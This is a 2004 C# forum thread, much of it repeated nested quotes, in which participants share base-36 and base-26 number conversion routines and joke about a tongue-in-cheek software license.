36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
>
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
>
> public static string ToString(long lval){
> int maxStrLen = powers.Length;
> long curval = lval;
> char [] tb = new char[maxStrLen];
> int outpos = 0;
> for(int i=0; i<maxStrLen; i++){
> long pval = powers[maxStrLen - i - 1];
> int pos = (int)(curval / pval);
> tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> curval = curval % pval;
> }
> if(outpos==0) tb[outpos++] = '0';
> return new string(tb,0,outpos).TrimStart('0');
> }
>
> public static long ToLong(string t){
> long ival = 0;
> char [] tb = t.ToCharArray();
> for(int i=0; i<tb.Length; i++){
> ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> }
> return ival;
> }
> }
> }
>
> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> news:uc3%EMail@HideDomain.com...
> > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion routines?
> TIA
> >
> > --
> > William Stacey, MVP
> > http://mvp.support.microsoft.com
> >
>
>
|
| |
|
| |
 |
Justin

|
Posted: Sun Nov 07 15:14:20 CST 2004 |
Top |
Visual C#.Net >> Base36
A generic base conversion can be applied by taking an alphabet:
private void char[] alphabet = new char[] {'0','1','2','3','4'}; // Base 5
private string IntegerToBase(int foo, char[] alphabet) {
int base = alphabet.Length;
string baseStr = "";
do {
baseStr = alphabet[foo%base] + baseStr;
foo /= base;
} while(foo > 0);
return baseStr
}
Given any alphabet, you can now go one way from integers to the base.
The reverse is more complicated, but only because certain assumptions
have to be made (converting from a well known type with specific rules
such as an integer is always easier than converting from an arbitrary type
where rules aren't self-imposed within a string).
I'm sure you also need the reverse. I already have numerous parsing
and conversion routines located in the blog space, so I'll try and elevate
this to a blog posting, and then back it with an article that contains links
and short details to all of my parsing routines to make them more
accessible.
--
Justin Rogers
DigiTec Web Consultants, LLC.
Blog: http://weblogs.asp.net/justin_rogers
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:u$EMail@HideDomain.com...
> Hey thanks a lot Roy. Care to post the other base as well? Either way,
> thanks again!!
>
> --
> William Stacey, MVP
> http://mvp.support.microsoft.com
>
> "Roy Fine" <EMail@HideDomain.com> wrote in message
> news:#EMail@HideDomain.com...
>> William,
>>
>> this is something that i did some time ago - actually for a different
> base,
>> but it was easy enough to change to handle base32.
>>
>> you did not specify the symbol set for your number base - i will assume
>> 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
>> accordingly.
>>
>> for performance reasons, the weights of the digits are computed at compile
>> time.
>>
>> note - there is absolutely no error checking, and it handles only positive
>> values, and assumes that all character codes are upper case.
>>
>> regards
>> roy fine
>>
>>
>> namespace CONVERSION{
>> // handles positive only values up to 4,738,381,338,321,616,896 - 1;
>> public class BASE32{
>> static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> static long [] powers =
>>
> {1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
>>
> 36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
>>
> 36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
>>
>> public static string ToString(long lval){
>> int maxStrLen = powers.Length;
>> long curval = lval;
>> char [] tb = new char[maxStrLen];
>> int outpos = 0;
>> for(int i=0; i<maxStrLen; i++){
>> long pval = powers[maxStrLen - i - 1];
>> int pos = (int)(curval / pval);
>> tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
>> curval = curval % pval;
>> }
>> if(outpos==0) tb[outpos++] = '0';
>> return new string(tb,0,outpos).TrimStart('0');
>> }
>>
>> public static long ToLong(string t){
>> long ival = 0;
>> char [] tb = t.ToCharArray();
>> for(int i=0; i<tb.Length; i++){
>> ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
>> }
>> return ival;
>> }
>> }
>> }
>>
>> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> news:uc3%EMail@HideDomain.com...
>> > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion routines?
>> TIA
>> >
>> > --
>> > William Stacey, MVP
>> > http://mvp.support.microsoft.com
>> >
>>
>>
>
|
| |
|
| |
 |
Roy

|
Posted: Sun Nov 07 16:46:02 CST 2004 |
Top |
Visual C#.Net >> Base36
William
The other base was base 26 and used *just* the uppercase alphabetic
characters (A..Z). The only change would be to specify the token set of the
number set and the weights of each position. For the Base26 case, it was
this:
/* ***************** */
public class BASE32{
static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
static long [] powers =
{1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
...
...
}
/* ***************** */
conversion is each direction is based on the tokens and powers arrays. the
first entry in the tokens aray always corresponds to the empty or zero
value, etc.
happy to help
roy
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:u$EMail@HideDomain.com...
> Hey thanks a lot Roy. Care to post the other base as well? Either way,
> thanks again!!
>
> --
> William Stacey, MVP
> http://mvp.support.microsoft.com
>
> "Roy Fine" <EMail@HideDomain.com> wrote in message
> news:#EMail@HideDomain.com...
> > William,
> >
> > this is something that i did some time ago - actually for a different
> base,
> > but it was easy enough to change to handle base32.
> >
> > you did not specify the symbol set for your number base - i will assume
> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
> > accordingly.
> >
> > for performance reasons, the weights of the digits are computed at
compile
> > time.
> >
> > note - there is absolutely no error checking, and it handles only
positive
> > values, and assumes that all character codes are upper case.
> >
> > regards
> > roy fine
> >
> >
> > namespace CONVERSION{
> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
> > public class BASE32{
> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> > static long [] powers =
> >
>
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
> >
>
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >
>
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
> >
> > public static string ToString(long lval){
> > int maxStrLen = powers.Length;
> > long curval = lval;
> > char [] tb = new char[maxStrLen];
> > int outpos = 0;
> > for(int i=0; i<maxStrLen; i++){
> > long pval = powers[maxStrLen - i - 1];
> > int pos = (int)(curval / pval);
> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> > curval = curval % pval;
> > }
> > if(outpos==0) tb[outpos++] = '0';
> > return new string(tb,0,outpos).TrimStart('0');
> > }
> >
> > public static long ToLong(string t){
> > long ival = 0;
> > char [] tb = t.ToCharArray();
> > for(int i=0; i<tb.Length; i++){
> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> > }
> > return ival;
> > }
> > }
> > }
> >
> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> > news:uc3%EMail@HideDomain.com...
> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
routines?
> > TIA
> > >
> > > --
> > > William Stacey, MVP
> > > http://mvp.support.microsoft.com
> > >
> >
> >
>
|
| |
|
| |
 |
Justin

|
Posted: Sun Nov 07 17:14:57 CST 2004 |
Top |
Visual C#.Net >> Base36
Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2 through
base36.
The notes are extensive as to the direction the library may or may not go
depending on what
problems people are trying to solve. What I've realized is that there are a
number of additional
and interesting problems associated with alphabet encoding, such as permuations,
cyclic
rotations, error correction, and the like that may be interesting to build into
the libraries. An
example of an error correction alphabet would be the base32 encoding which
removes
characters that may be confused for other characters when read by a human.
--
Justin Rogers
DigiTec Web Consultants, LLC.
Blog: http://weblogs.asp.net/justin_rogers
"Roy Fine" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> William
>
> The other base was base 26 and used *just* the uppercase alphabetic
> characters (A..Z). The only change would be to specify the token set of the
> number set and the weights of each position. For the Base26 case, it was
> this:
>
> /* ***************** */
> public class BASE32{
> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> static long [] powers =
> {1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
> 26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
> 26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
> ...
> ...
> }
> /* ***************** */
>
> conversion is each direction is based on the tokens and powers arrays. the
> first entry in the tokens aray always corresponds to the empty or zero
> value, etc.
>
> happy to help
> roy
>
>
> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> news:u$EMail@HideDomain.com...
>> Hey thanks a lot Roy. Care to post the other base as well? Either way,
>> thanks again!!
>>
>> --
>> William Stacey, MVP
>> http://mvp.support.microsoft.com
>>
>> "Roy Fine" <EMail@HideDomain.com> wrote in message
>> news:#EMail@HideDomain.com...
>> > William,
>> >
>> > this is something that i did some time ago - actually for a different
>> base,
>> > but it was easy enough to change to handle base32.
>> >
>> > you did not specify the symbol set for your number base - i will assume
>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
>> > accordingly.
>> >
>> > for performance reasons, the weights of the digits are computed at
> compile
>> > time.
>> >
>> > note - there is absolutely no error checking, and it handles only
> positive
>> > values, and assumes that all character codes are upper case.
>> >
>> > regards
>> > roy fine
>> >
>> >
>> > namespace CONVERSION{
>> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
>> > public class BASE32{
>> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> > static long [] powers =
>> >
>>
> {1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
>> >
>>
> 36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> >
>>
> 36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
>> >
>> > public static string ToString(long lval){
>> > int maxStrLen = powers.Length;
>> > long curval = lval;
>> > char [] tb = new char[maxStrLen];
>> > int outpos = 0;
>> > for(int i=0; i<maxStrLen; i++){
>> > long pval = powers[maxStrLen - i - 1];
>> > int pos = (int)(curval / pval);
>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
>> > curval = curval % pval;
>> > }
>> > if(outpos==0) tb[outpos++] = '0';
>> > return new string(tb,0,outpos).TrimStart('0');
>> > }
>> >
>> > public static long ToLong(string t){
>> > long ival = 0;
>> > char [] tb = t.ToCharArray();
>> > for(int i=0; i<tb.Length; i++){
>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
>> > }
>> > return ival;
>> > }
>> > }
>> > }
>> >
>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> > news:uc3%EMail@HideDomain.com...
>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
> routines?
>> > TIA
>> > >
>> > > --
>> > > William Stacey, MVP
>> > > http://mvp.support.microsoft.com
>> > >
>> >
>> >
>>
>
>
|
| |
|
| |
 |
Justin

|
Posted: Sun Nov 07 17:21:50 CST 2004 |
Top |
Visual C#.Net >> Base36
Apparentyly it whacked the link...
http://weblogs.asp.net/justin_rogers/articles/253641.aspx
--
Justin Rogers
DigiTec Web Consultants, LLC.
Blog: http://weblogs.asp.net/justin_rogers
"Justin Rogers" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2 through
> base36.
>
> The notes are extensive as to the direction the library may or may not go
> depending on what
> problems people are trying to solve. What I've realized is that there are a
> number of additional
> and interesting problems associated with alphabet encoding, such as
> permuations, cyclic
> rotations, error correction, and the like that may be interesting to build
> into the libraries. An
> example of an error correction alphabet would be the base32 encoding which
> removes
> characters that may be confused for other characters when read by a human.
>
>
> --
> Justin Rogers
> DigiTec Web Consultants, LLC.
> Blog: http://weblogs.asp.net/justin_rogers
>
> "Roy Fine" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
>> William
>>
>> The other base was base 26 and used *just* the uppercase alphabetic
>> characters (A..Z). The only change would be to specify the token set of the
>> number set and the weights of each position. For the Base26 case, it was
>> this:
>>
>> /* ***************** */
>> public class BASE32{
>> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> static long [] powers =
>> {1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
>> 26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
>> 26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
>> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
>> ...
>> ...
>> }
>> /* ***************** */
>>
>> conversion is each direction is based on the tokens and powers arrays. the
>> first entry in the tokens aray always corresponds to the empty or zero
>> value, etc.
>>
>> happy to help
>> roy
>>
>>
>> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> news:u$EMail@HideDomain.com...
>>> Hey thanks a lot Roy. Care to post the other base as well? Either way,
>>> thanks again!!
>>>
>>> --
>>> William Stacey, MVP
>>> http://mvp.support.microsoft.com
>>>
>>> "Roy Fine" <EMail@HideDomain.com> wrote in message
>>> news:#EMail@HideDomain.com...
>>> > William,
>>> >
>>> > this is something that i did some time ago - actually for a different
>>> base,
>>> > but it was easy enough to change to handle base32.
>>> >
>>> > you did not specify the symbol set for your number base - i will assume
>>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
>>> > accordingly.
>>> >
>>> > for performance reasons, the weights of the digits are computed at
>> compile
>>> > time.
>>> >
>>> > note - there is absolutely no error checking, and it handles only
>> positive
>>> > values, and assumes that all character codes are upper case.
>>> >
>>> > regards
>>> > roy fine
>>> >
>>> >
>>> > namespace CONVERSION{
>>> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
>>> > public class BASE32{
>>> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>>> > static long [] powers =
>>> >
>>>
>> {1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
>>> >
>>>
>> 36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
>>> >
>>>
>> 36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
>>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
>>> >
>>> > public static string ToString(long lval){
>>> > int maxStrLen = powers.Length;
>>> > long curval = lval;
>>> > char [] tb = new char[maxStrLen];
>>> > int outpos = 0;
>>> > for(int i=0; i<maxStrLen; i++){
>>> > long pval = powers[maxStrLen - i - 1];
>>> > int pos = (int)(curval / pval);
>>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
>>> > curval = curval % pval;
>>> > }
>>> > if(outpos==0) tb[outpos++] = '0';
>>> > return new string(tb,0,outpos).TrimStart('0');
>>> > }
>>> >
>>> > public static long ToLong(string t){
>>> > long ival = 0;
>>> > char [] tb = t.ToCharArray();
>>> > for(int i=0; i<tb.Length; i++){
>>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
>>> > }
>>> > return ival;
>>> > }
>>> > }
>>> > }
>>> >
>>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>>> > news:uc3%EMail@HideDomain.com...
>>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
>> routines?
>>> > TIA
>>> > >
>>> > > --
>>> > > William Stacey, MVP
>>> > > http://mvp.support.microsoft.com
>>> > >
>>> >
>>> >
>>>
>>
>>
>
>
|
| |
|
| |
 |
Roy

|
Posted: Sun Nov 07 17:59:23 CST 2004 |
Top |
Visual C#.Net >> Base36
"Justin Rogers" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Apparentyly it whacked the link...
>
> http://weblogs.asp.net/justin_rogers/articles/253641.aspx
>
>
nice - but the code i posted works, begs for a bit of optimization, but
comes with *no* strings attached.
rlf
> --
> Justin Rogers
> DigiTec Web Consultants, LLC.
> Blog: http://weblogs.asp.net/justin_rogers
>
>
> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> > Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2
through
> > base36.
> >
> > The notes are extensive as to the direction the library may or may not
go
> > depending on what
> > problems people are trying to solve. What I've realized is that there
are a
> > number of additional
> > and interesting problems associated with alphabet encoding, such as
> > permuations, cyclic
> > rotations, error correction, and the like that may be interesting to
build
> > into the libraries. An
> > example of an error correction alphabet would be the base32 encoding
which
> > removes
> > characters that may be confused for other characters when read by a
human.
> >
> >
> > --
> > Justin Rogers
> > DigiTec Web Consultants, LLC.
> > Blog: http://weblogs.asp.net/justin_rogers
> >
> > "Roy Fine" <EMail@HideDomain.com> wrote in message
> > news:EMail@HideDomain.com...
> >> William
> >>
> >> The other base was base 26 and used *just* the uppercase alphabetic
> >> characters (A..Z). The only change would be to specify the token set
of the
> >> number set and the weights of each position. For the Base26 case, it
was
> >> this:
> >>
> >> /* ***************** */
> >> public class BASE32{
> >> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> >> static long [] powers =
> >>
{1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
> >>
26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
> >>
26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
> >> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
> >> ...
> >> ...
> >> }
> >> /* ***************** */
> >>
> >> conversion is each direction is based on the tokens and powers arrays.
the
> >> first entry in the tokens aray always corresponds to the empty or zero
> >> value, etc.
> >>
> >> happy to help
> >> roy
> >>
> >>
> >> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> >> news:u$EMail@HideDomain.com...
> >>> Hey thanks a lot Roy. Care to post the other base as well? Either
way,
> >>> thanks again!!
> >>>
> >>> --
> >>> William Stacey, MVP
> >>> http://mvp.support.microsoft.com
> >>>
> >>> "Roy Fine" <EMail@HideDomain.com> wrote in message
> >>> news:#EMail@HideDomain.com...
> >>> > William,
> >>> >
> >>> > this is something that i did some time ago - actually for a
different
> >>> base,
> >>> > but it was easy enough to change to handle base32.
> >>> >
> >>> > you did not specify the symbol set for your number base - i will
assume
> >>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
> >>> > accordingly.
> >>> >
> >>> > for performance reasons, the weights of the digits are computed at
> >> compile
> >>> > time.
> >>> >
> >>> > note - there is absolutely no error checking, and it handles only
> >> positive
> >>> > values, and assumes that all character codes are upper case.
> >>> >
> >>> > regards
> >>> > roy fine
> >>> >
> >>> >
> >>> > namespace CONVERSION{
> >>> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
> >>> > public class BASE32{
> >>> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> >>> > static long [] powers =
> >>> >
> >>>
> >>
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
> >>> >
> >>>
> >>
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >>> >
> >>>
> >>
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> >>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
> >>> >
> >>> > public static string ToString(long lval){
> >>> > int maxStrLen = powers.Length;
> >>> > long curval = lval;
> >>> > char [] tb = new char[maxStrLen];
> >>> > int outpos = 0;
> >>> > for(int i=0; i<maxStrLen; i++){
> >>> > long pval = powers[maxStrLen - i - 1];
> >>> > int pos = (int)(curval / pval);
> >>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> >>> > curval = curval % pval;
> >>> > }
> >>> > if(outpos==0) tb[outpos++] = '0';
> >>> > return new string(tb,0,outpos).TrimStart('0');
> >>> > }
> >>> >
> >>> > public static long ToLong(string t){
> >>> > long ival = 0;
> >>> > char [] tb = t.ToCharArray();
> >>> > for(int i=0; i<tb.Length; i++){
> >>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> >>> > }
> >>> > return ival;
> >>> > }
> >>> > }
> >>> > }
> >>> >
> >>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> >>> > news:uc3%EMail@HideDomain.com...
> >>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
> >> routines?
> >>> > TIA
> >>> > >
> >>> > > --
> >>> > > William Stacey, MVP
> >>> > > http://mvp.support.microsoft.com
> >>> > >
> >>> >
> >>> >
> >>>
> >>
> >>
> >
> >
>
>
|
| |
|
| |
 |
Justin

|
Posted: Sun Nov 07 18:53:18 CST 2004 |
Top |
Visual C#.Net >> Base36
Ah, I wasn't aware alerting the author about changes to the code
that you've made is a string being attached. The licensing agreement
at the top is primarily a joke for all those that read it. It even requires
that you laugh... I put it there to reduce my own liability and to point
out that the software isn't supported. Take it for what you will.
--
Justin Rogers
DigiTec Web Consultants, LLC.
Blog: http://weblogs.asp.net/justin_rogers
"Roy Fine" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
>
> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
>> Apparentyly it whacked the link...
>>
>> http://weblogs.asp.net/justin_rogers/articles/253641.aspx
>>
>>
>
> nice - but the code i posted works, begs for a bit of optimization, but
> comes with *no* strings attached.
>
> rlf
>
>
>
>> --
>> Justin Rogers
>> DigiTec Web Consultants, LLC.
>> Blog: http://weblogs.asp.net/justin_rogers
>>
>>
>> "Justin Rogers" <EMail@HideDomain.com> wrote in message
>> news:EMail@HideDomain.com...
>> > Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2
> through
>> > base36.
>> >
>> > The notes are extensive as to the direction the library may or may not
> go
>> > depending on what
>> > problems people are trying to solve. What I've realized is that there
> are a
>> > number of additional
>> > and interesting problems associated with alphabet encoding, such as
>> > permuations, cyclic
>> > rotations, error correction, and the like that may be interesting to
> build
>> > into the libraries. An
>> > example of an error correction alphabet would be the base32 encoding
> which
>> > removes
>> > characters that may be confused for other characters when read by a
> human.
>> >
>> >
>> > --
>> > Justin Rogers
>> > DigiTec Web Consultants, LLC.
>> > Blog: http://weblogs.asp.net/justin_rogers
>> >
>> > "Roy Fine" <EMail@HideDomain.com> wrote in message
>> > news:EMail@HideDomain.com...
>> >> William
>> >>
>> >> The other base was base 26 and used *just* the uppercase alphabetic
>> >> characters (A..Z). The only change would be to specify the token set
> of the
>> >> number set and the weights of each position. For the Base26 case, it
> was
>> >> this:
>> >>
>> >> /* ***************** */
>> >> public class BASE32{
>> >> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> >> static long [] powers =
>> >>
> {1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
>> >>
> 26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
>> >>
> 26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
>> >> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
>> >> ...
>> >> ...
>> >> }
>> >> /* ***************** */
>> >>
>> >> conversion is each direction is based on the tokens and powers arrays.
> the
>> >> first entry in the tokens aray always corresponds to the empty or zero
>> >> value, etc.
>> >>
>> >> happy to help
>> >> roy
>> >>
>> >>
>> >> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> >> news:u$EMail@HideDomain.com...
>> >>> Hey thanks a lot Roy. Care to post the other base as well? Either
> way,
>> >>> thanks again!!
>> >>>
>> >>> --
>> >>> William Stacey, MVP
>> >>> http://mvp.support.microsoft.com
>> >>>
>> >>> "Roy Fine" <EMail@HideDomain.com> wrote in message
>> >>> news:#EMail@HideDomain.com...
>> >>> > William,
>> >>> >
>> >>> > this is something that i did some time ago - actually for a
> different
>> >>> base,
>> >>> > but it was easy enough to change to handle base32.
>> >>> >
>> >>> > you did not specify the symbol set for your number base - i will
> assume
>> >>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens string
>> >>> > accordingly.
>> >>> >
>> >>> > for performance reasons, the weights of the digits are computed at
>> >> compile
>> >>> > time.
>> >>> >
>> >>> > note - there is absolutely no error checking, and it handles only
>> >> positive
>> >>> > values, and assumes that all character codes are upper case.
>> >>> >
>> >>> > regards
>> >>> > roy fine
>> >>> >
>> >>> >
>> >>> > namespace CONVERSION{
>> >>> > // handles positive only values up to 4,738,381,338,321,616,896 - 1;
>> >>> > public class BASE32{
>> >>> > static string tokens = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
>> >>> > static long [] powers =
>> >>> >
>> >>>
>> >>
> {1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
>> >>> >
>> >>>
>> >>
> 36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> >>> >
>> >>>
>> >>
> 36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
>> >>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
>> >>> >
>> >>> > public static string ToString(long lval){
>> >>> > int maxStrLen = powers.Length;
>> >>> > long curval = lval;
>> >>> > char [] tb = new char[maxStrLen];
>> >>> > int outpos = 0;
>> >>> > for(int i=0; i<maxStrLen; i++){
>> >>> > long pval = powers[maxStrLen - i - 1];
>> >>> > int pos = (int)(curval / pval);
>> >>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
>> >>> > curval = curval % pval;
>> >>> > }
>> >>> > if(outpos==0) tb[outpos++] = '0';
>> >>> > return new string(tb,0,outpos).TrimStart('0');
>> >>> > }
>> >>> >
>> >>> > public static long ToLong(string t){
>> >>> > long ival = 0;
>> >>> > char [] tb = t.ToCharArray();
>> >>> > for(int i=0; i<tb.Length; i++){
>> >>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
>> >>> > }
>> >>> > return ival;
>> >>> > }
>> >>> > }
>> >>> > }
>> >>> >
>> >>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
>> >>> > news:uc3%EMail@HideDomain.com...
>> >>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion
>> >> routines?
>> >>> > TIA
>> >>> > >
>> >>> > > --
>> >>> > > William Stacey, MVP
>> >>> > > http://mvp.support.microsoft.com
>> >>> > >
>> >>> >
>> >>> >
>> >>>
>> >>
>> >>
>> >
>> >
>>
>>
>
>
|
| |
|
| |
 |
Roy

|
Posted: Sun Nov 07 19:26:33 CST 2004 |
Top |
Visual C#.Net >> Base36
"Justin Rogers" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Ah, I wasn't aware alerting the author about changes to the code
> that you've made is a string being attached. The licensing agreement
> at the top is primarily a joke for all those that read it. It even
requires
> that you laugh... I put it there to reduce my own liability and to point
> out that the software isn't supported. Take it for what you will.
>
what the "recommended interpretation" of :
<quote>
The use of this software is for test and performance purposes only.
<\quote>
and
<quote>
In all seriousness,
excluding the laughter, laughter in itself does not void this license
agreement, nor compromise it's ability to legally bind you.
<\quote>
>
> --
> Justin Rogers
> DigiTec Web Consultants, LLC.
> Blog: http://weblogs.asp.net/justin_rogers
>
> "Roy Fine" <EMail@HideDomain.com> wrote in message
> news:%EMail@HideDomain.com...
> >
> > "Justin Rogers" <EMail@HideDomain.com> wrote in message
> > news:EMail@HideDomain.com...
> >> Apparentyly it whacked the link...
> >>
> >> http://weblogs.asp.net/justin_rogers/articles/253641.aspx
> >>
> >>
> >
> > nice - but the code i posted works, begs for a bit of optimization, but
> > comes with *no* strings attached.
> >
> > rlf
> >
> >
> >
> >> --
> >> Justin Rogers
> >> DigiTec Web Consultants, LLC.
> >> Blog: http://weblogs.asp.net/justin_rogers
> >>
> >>
> >> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> >> news:EMail@HideDomain.com...
> >> > Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for base2
> > through
> >> > base36.
> >> >
